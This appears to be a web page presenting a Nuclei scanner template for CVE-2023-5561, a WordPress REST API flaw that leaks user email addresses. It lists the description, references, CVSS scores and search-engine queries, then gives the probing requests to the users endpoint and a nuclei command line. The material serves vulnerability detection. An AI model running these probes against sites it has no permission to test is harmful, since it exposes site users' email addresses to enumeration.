WordPress Core - Post Author Email Disclosure

ID: CVE-2023-5561

Severity: medium

Author: nqdung2002

Tags: cve,cve2023,wpscan,disclosure,wp,wordpress,email,exposure

Description

WordPress Core is vulnerable to Sensitive Information Exposure in versions between 4.7.0 and 6.3.1 via the User REST endpoint. While the search results do not display user email addresses unless the requesting user has the ‘list_users’ capability, the search is applied to the user_email column.

YAML Source

id: CVE-2023-5561

info:
  name: WordPress Core - Post Author Email Disclosure
  author: nqdung2002
  severity: medium
  description: |
    WordPress Core is vulnerable to Sensitive Information Exposure in versions between 4.7.0 and 6.3.1 via the User REST endpoint. While the search results do not display user email addresses unless the requesting user has the 'list_users' capability, the search is applied to the user_email column.
  impact: |
    This can allow unauthenticated attackers to brute force or verify the email addresses of users with published posts or pages on the site.
  reference:
    - https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-core/wordpress-core-470-631-sensitive-information-exposure-via-user-search-rest-endpoint?asset_slug=wordpress
    - https://wpscan.com/vulnerability/19380917-4c27-4095-abf1-eba6f913b441/
    - https://nvd.nist.gov/vuln/detail/CVE-2023-5561
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
    cve-id: CVE-2023-5561
    cwe-id: CWE-200
    epss-score: 0.00072
    epss-percentile: 0.32109
    cpe: cpe:2.3:a:wordpress:wordpress:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: wordpress
    product: wordpress
    framework: wordpress
    shodan-query:
      - cpe:"cpe:2.3:a:wordpress:wordpress"
      - http.component:"wordpress"
    fofa-query: body="oembed" && body="wp-"
  tags: cve,cve2023,wpscan,disclosure,wp,wordpress,email,exposure

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains(body, "/wp-content/plugins")'
        internal: true

  - method: GET
    path:
      - "{{BaseURL}}/{{route}}search=@"

    stop-at-first-match: true
    payloads:
      route:
        - "wp-json/wp/v2/users?"
        - "?rest_route=/wp/v2/users&"
    attack: clusterbomb

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(content_type, "application/json")'
          - 'contains_all(body, "[{\"id", "name\":", "@")'
        condition: and
# digest: 4b0a00483046022100925cdafa52890465362ddbe743a73ae30bb25f284a4c581867e0b50a1f674dcf022100a77201308db43b02266252fc853c6f288c5d83b0c63a6387677ce4aa673237b0:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2023/CVE-2023-5561.yaml"

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